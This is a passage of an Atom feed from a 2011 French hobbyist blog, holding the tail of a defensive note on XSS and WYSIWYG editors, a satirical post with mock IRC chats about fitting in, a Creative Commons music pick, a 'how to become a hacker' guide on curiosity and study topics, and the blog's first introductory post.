Enfin, certaines personnes pensent qu'en mettant une interface WYSIWYG à la place du HTML sur leur site pour les utilisateurs est une protection efficace. Ceci est totalement faux: un simple script ou l'utilisation de Firebug permet de contourner aisément la protection. Prenez donc garde à ce que les utilisateurs peuvent entrer sur votre site !&lt;/p&gt;</content><category term="Hacking"/><category term="Javascript"/><category term="XSS"/><category term="Obfusquer"/><category term="WYSIWYG"/></entry><entry><title>Humour: Comment être populaire auprès des tapz</title><link href="/humour-comment-etre-populaire-aupres-des-tapz.html" rel="alternate"/><published>2011-07-05T19:17:00+02:00</published><updated>2011-07-05T19:17:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-07-05:/humour-comment-etre-populaire-aupres-des-tapz.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;Cet article est évidemment à prendre au second degré, même si certains conseils sont malheureusement applicables.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Être populaire, voilà le rêve de beaucoup de personnes! &lt;s&gt;C'est ce que propose ce blog pour 5€ par mois&lt;/s&gt;. Plus sérieusement (ou pas, faut pas exagérer non plus), ce billet permet de dégager certains …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Cet article est évidemment à prendre au second degré, même si certains conseils sont malheureusement applicables.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Être populaire, voilà le rêve de beaucoup de personnes! &lt;s&gt;C'est ce que propose ce blog pour 5€ par mois&lt;/s&gt;. Plus sérieusement (ou pas, faut pas exagérer non plus), ce billet permet de dégager certains comportements humains habituels, qui une fois compris et exploités, peuvent vous servir à être populaire, c'est-à-dire devenir vous aussi une tapz. &lt;a href="http://www.cooldamien.tk/"&gt;c00l&lt;/a&gt; non?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;La plupart des gens sont des tapz, c'est-à-dire une bande de moutons qui suivent le "troupeau": (règle d'or, à garder toujours en tête) &lt;/strong&gt; les tapz suivent les effets de mode, de peur d'être rejetées, c'est-à-dire d'être considérée comme une tapz par leurs pairs. En effet, elles ignorent les personnes un peu "différentes" qui ne s'intéressent pas aux intérêts de masse (football,facebook,et j'en passe).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Faites semblant de vous y intéresser aux trucs à la mode: &lt;/strong&gt;ces thèmes sont au centre des discussions des tapz. Si vous , vous ne pourrez pas engager de conversations avec la plupart des ovins et autre animaux de la ferme. Intéressez-vous donc aux célébrités et leur vie dont personne n'a rien à faire (Lady Gaga,Justin Bieber, etc...), au football et à facebook, pour ne pas passer pour l'extraterrestre de service. TF1 par exemple, vous permettera de vous familiariser avec cette culture assez rapidement (et sa très intelligente émission "Secret Story").&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Faites simples:&lt;/strong&gt; Un style recherché vous vaudra au mieux une incompréhension de vos interlocuteurs, et au pire des moqueries de ceux-ci (au moins, ceux-ci appliquent très bien le concept KISS). Ainsi un &amp;laquo;passe moi la flotte stp&amp;raquo; sera plus facilement compréhensible que &amp;laquo;Pourriez-vous éventuellement me donner quelque chose à boire, s'il vous plaît, très cher?&amp;raquo; , qui vous vaudra l'étiquette de "connard de bourgeois". N'hésitez pas non plus à utiliser des gros mots et autres insultes (mais pas trop, sous peine d'être vu comme une "racaille").&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Adoptez une orthographe lamentable:&lt;/strong&gt; En effet, écrire en français vous fera passer pour un dinosaure, un fossile voire un vieux granite de 500 millions d'années. Avouez que c'est plus agréable de lire &amp;laquo;cc tlm c moi jvou kiff tous bizz xd mdr lol&amp;raquo; que &amp;laquo;Bonjour tout le monde, votre salon semble assez accueillant&amp;raquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Comportez-vous comme une tapz:&lt;/strong&gt; si tout le monde se tient vautré en mangeant comme des porcs, faites de même. Cependant, essayez de vous démarquer de l'opinion publique en lançant des débats très intéressants comme &amp;laquo;Lady Gaga est une grosse tapz, moi j'kiffe grave Britney Spears&amp;raquo; (les fautes éventuelles dans les noms montrent bien ma connaissance approfondie du sujet)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Voilà, avec tout ça, vous devenez un parfait petit mouton, une belle tapz prête à avoir un semblant de vie sociale.&lt;/p&gt;
&lt;h2&gt;Illustration&lt;/h2&gt;
&lt;p&gt;Imaginons-donc une conversation avec D4rkV4d0r, passionné de programmation et de littérature, et Choupinette1996, l'exemple parfait de la tapz. Cela donnerait à peu près:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;* D4rkv4d0r (~D4rkv4d0r@dangerous.h4x0r) a rejoint #amitie-facile
&amp;lt;D4rkv4d0r&amp;gt; Bonjour tout le monde :)
&amp;lt;Choupinette1996&amp;gt; slt sa va b1?
&amp;lt;D4rkv4d0r&amp;gt; Tu peux répéter, j&amp;#39;ai pas compris ce que tu as dit :s
&amp;lt;Choupinette1996&amp;gt; jkiff tro lady gaga elé tro belle xD
&amp;lt;D4rkv4d0r&amp;gt; Il me semble t&amp;#39;avoir demandé quelque chose
&amp;lt;Choupinette1996&amp;gt; lol t de kèl planèt? t mon pèr?
* D4rkv4d0r est parti (Papa retourne sur Mars!!)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Comme on peut voir ici, le début de conversation est mal parti, d'autant plus que le pseudo ne convient pas aux normes kikoulols (l'écriture 1337 n'est pas compréhensible pour eux). On va donc sauver D4rkv4d0r et le renommer en Pitchnou_bogoss1997. D4rkv4dor va donc se déconnecter et se reconnecter sous son nouveau pseudo, puis appliquer les principes de base de cet article. La conversation donnera donc:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;* Pitchnou_bogoss1997 (~bogoss@justin.bieber.en.force) a rejoint #amitie-facile
&amp;lt;Pitchnou_bogoss1997&amp;gt; slt les ami, j&amp;#39;vou kiff grav
&amp;lt;Choupinette1996&amp;gt; kikou pitchnou ta lair grav kool toi tékout koi? moi c lady gaga
&amp;lt;Pitchnou_bogoss1997&amp;gt; lol c nul lady gaga xD mdr et justin bieber il é tro bo!
&amp;lt;Choupinette1996&amp;gt; tain t cool toi c koi ton msn?
&amp;lt;Pitchnou_bogoss1997&amp;gt; g pa msn jutilise jabber &amp;lt;--- **Nooon faut pas dire ça !**
&amp;lt;Choupinette1996&amp;gt; c koi?
&amp;lt;Pitchnou_bogoss1997&amp;gt; c msn en mieu mé en fait tlm utilise msn
&amp;lt;Choupinette1996&amp;gt; pk?
&amp;lt;Pitchnou_bogoss1997&amp;gt; ba lé gen c des moutons xD
&amp;lt;Choupinette1996&amp;gt; é cmt sa s&amp;#39;install?
&amp;lt;Pitchnou_bogoss1997&amp;gt; http://lmgtfy.fr/?q=jabber+windows
&amp;lt;Choupinette1996&amp;gt; lol c koi ce truk? et pk ma souris elle bouge? ta mis 1 virus?
* Pitchnou_bogoss1997 est parti (Décidément j&amp;#39;y arriverai jamais -.-)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="Humour / Philosophie"/></entry><entry><title>Digital Rabbits</title><link href="/digital-rabbits.html" rel="alternate"/><published>2011-07-04T18:31:00+02:00</published><updated>2011-07-04T18:31:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-07-04:/digital-rabbits.html</id><summary type="html">&lt;div style="text-align:center"&gt;&lt;img src="https://images.jamendo.com/albums/s93/93501/covers/1.300.jpg" width="300"/&gt;&lt;/div&gt;
&lt;p&gt;J'ouvre la partie "Musiques" de ce blog avec une découverte: il s'agit de "Digital Rabbits", un artiste russe (et oui, j'ai un penchant pour tout ce qui provient de l'Europe de l'Est). Bref, son album s'appelle "Crazy Rabbits" (un fan des lapins on va dire), qui a la particularité d'être …&lt;/p&gt;</summary><content type="html">&lt;div style="text-align:center"&gt;&lt;img src="https://images.jamendo.com/albums/s93/93501/covers/1.300.jpg" width="300"/&gt;&lt;/div&gt;
&lt;p&gt;J'ouvre la partie "Musiques" de ce blog avec une découverte: il s'agit de "Digital Rabbits", un artiste russe (et oui, j'ai un penchant pour tout ce qui provient de l'Europe de l'Est). Bref, son album s'appelle "Crazy Rabbits" (un fan des lapins on va dire), qui a la particularité d'être sous licence Creative Commons, donc téléchargeable librement.&lt;br/&gt;
Cet artiste a mélangé la Drum'n'bass et Dubstep, pour nous offrir cette petite merveille, librement téléchargable ci-dessous:&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;iframe style="width:220px;height:375px;padding:0;border:none;" src="https://widgets.jamendo.com/v3/album/93501"&gt;&lt;/iframe&gt;&lt;/div&gt;</content><category term="Musique"/></entry><entry><title>Comment devenir un hacker</title><link href="/comment-devenir-un-hacker.html" rel="alternate"/><published>2011-07-02T16:52:00+02:00</published><updated>2011-07-02T16:52:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-07-02:/comment-devenir-un-hacker.html</id><summary type="html">&lt;p&gt;Cet article a pour but de vous expliquer comment "devenir" un hacker. Cependant, si vous cherchez à pirater MSN, facebook ou d'autres conneries du genre, &lt;a href="http://www.tsgk.net/cowboyz/hack.html"&gt;allez voir ici si j'y suis&lt;/a&gt;.  Si vous n'êtes pas dans ce cas, ce qui suit vous sera certainement utile pour découvrir le passionnant monde des hackers.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Cet article a pour but de vous expliquer comment "devenir" un hacker. Cependant, si vous cherchez à pirater MSN, facebook ou d'autres conneries du genre, &lt;a href="http://www.tsgk.net/cowboyz/hack.html"&gt;allez voir ici si j'y suis&lt;/a&gt;.  Si vous n'êtes pas dans ce cas, ce qui suit vous sera certainement utile pour découvrir le passionnant monde des hackers.&lt;/p&gt;


&lt;p&gt;Il n'y a pas réellement de définition formelle des hackers: le terme "hacker" est un compliment qui nous est attribué par ses pairs. Inutile donc de vous autoproclamer "hacker", si personne ne vous reconnaît comme tel (sauf si vous avez envie de vous ridiculiser). Voilà donc quelques points qui permettent de "dégrossir" un peu le terme hacker:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Être un hacker, c'est avoir un certain état d'esprit: en effet, être hacker c'est être curieux, vouloir comprendre comment les choses fonctionnent afin de les modifier, voire améliorer leur fonctionnement.&lt;/li&gt;
&lt;li&gt;Un hacker doit admettre qu'il ne peut pas tout savoir: il y a tellement de choses à découvrir qu'il faudrait plus d'une vie pour tout découvrir et comprendre.&lt;/li&gt;
&lt;li&gt;Ne pas hésiter à essayer, expérimenter, se tromper et &lt;strong&gt;comprendre ses erreurs&lt;/strong&gt;: l'expérimentation et le bidouillage sont à la base du hacking ("to hack" signifie par ailleurs "bidouiller")&lt;/li&gt;
&lt;li&gt;Enfin, chose importante: un hacker doit savoir trouver par lui-même les solutions à ses problèmes, surtout s'ils sont basiques (comme trouver un tutoriel pour apprendre à programmer). Evitez donc de poser des questions sans avoir cherché auparavant, les hackers ne sont pas des assistantes sociales et ce genre de questions les énerve (ou leur permet de se moquer de vous).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Être hacker demande donc une mentalité particulière, qu'il faut posséder (ou acquérir grâce à une discipline mentale forte) pour réussir dans le "monde" des hackers. Pour votre apprentissage, je vous recommande d'étudier ces différents points et d'approfondir ces différents points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apprendre un langage de programmation bas-niveau (C ou assembleur)&lt;/li&gt;
&lt;li&gt;Apprendre un langage haut niveau ou de script (Python, Java...)&lt;/li&gt;
&lt;li&gt;Etudier les protocoles réseau (Ethernet, ARP, IP, TCP et UDP notamment)&lt;/li&gt;
&lt;li&gt;Installer un Unix libre (Linux ou un BSD) et apprendre à s'en servir puis comprendre son fonctionnement.&lt;/li&gt;
&lt;li&gt;Contribuer à un projet open-source. Ainsi vous pourrez vous perfectionner dans la maîtrise des langages de programmation que vous aurez appris.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je vous recommande par ailleurs de lire &lt;a href="http://ocmartialarts.unixboxen.net/web/hacker.php"&gt;ce texte&lt;/a&gt; (dont je me suis fortement inspiré) afin d'avoir une idée plus complète de ce qu'est le hacking.&lt;/p&gt;</content><category term="Humour / Philosophie"/><category term="Hacker"/><category term="Ethique"/><category term="C"/><category term="assembleur"/><category term="Linux"/></entry><entry><title>Premier article</title><link href="/premier-article.html" rel="alternate"/><published>2011-07-02T13:49:00+02:00</published><updated>2011-07-02T13:49:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-07-02:/premier-article.html</id><summary type="html">&lt;p&gt;Bonjour à tous!&lt;br/&gt;
Ceci est mon premier billet sur ce blog (il faut bien commencer par quelque chose!).&lt;br/&gt;
Ce blog parlera entre autres de tous les sujets qui me passionnent (hacking/programmation, musique, etc...)&lt;br/&gt;
En attendant, je pense que certaines personnes sont assez intriguées par ce pseudonyme pour le moins …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bonjour à tous!&lt;br/&gt;
Ceci est mon premier billet sur ce blog (il faut bien commencer par quelque chose!).&lt;br/&gt;
Ce blog parlera entre autres de tous les sujets qui me passionnent (hacking/programmation, musique, etc...)&lt;br/&gt;
En attendant, je pense que certaines personnes sont assez intriguées par ce pseudonyme pour le moins étrange que je porte. Tout d'abord ce pseudonyme n'a aucune siginfication, c'est juste un ensemble de lettres dont l'agencement m'a plu, que j'ai choisi de conserver comme pseudonyme.</content><category term="Général"/></entry></feed>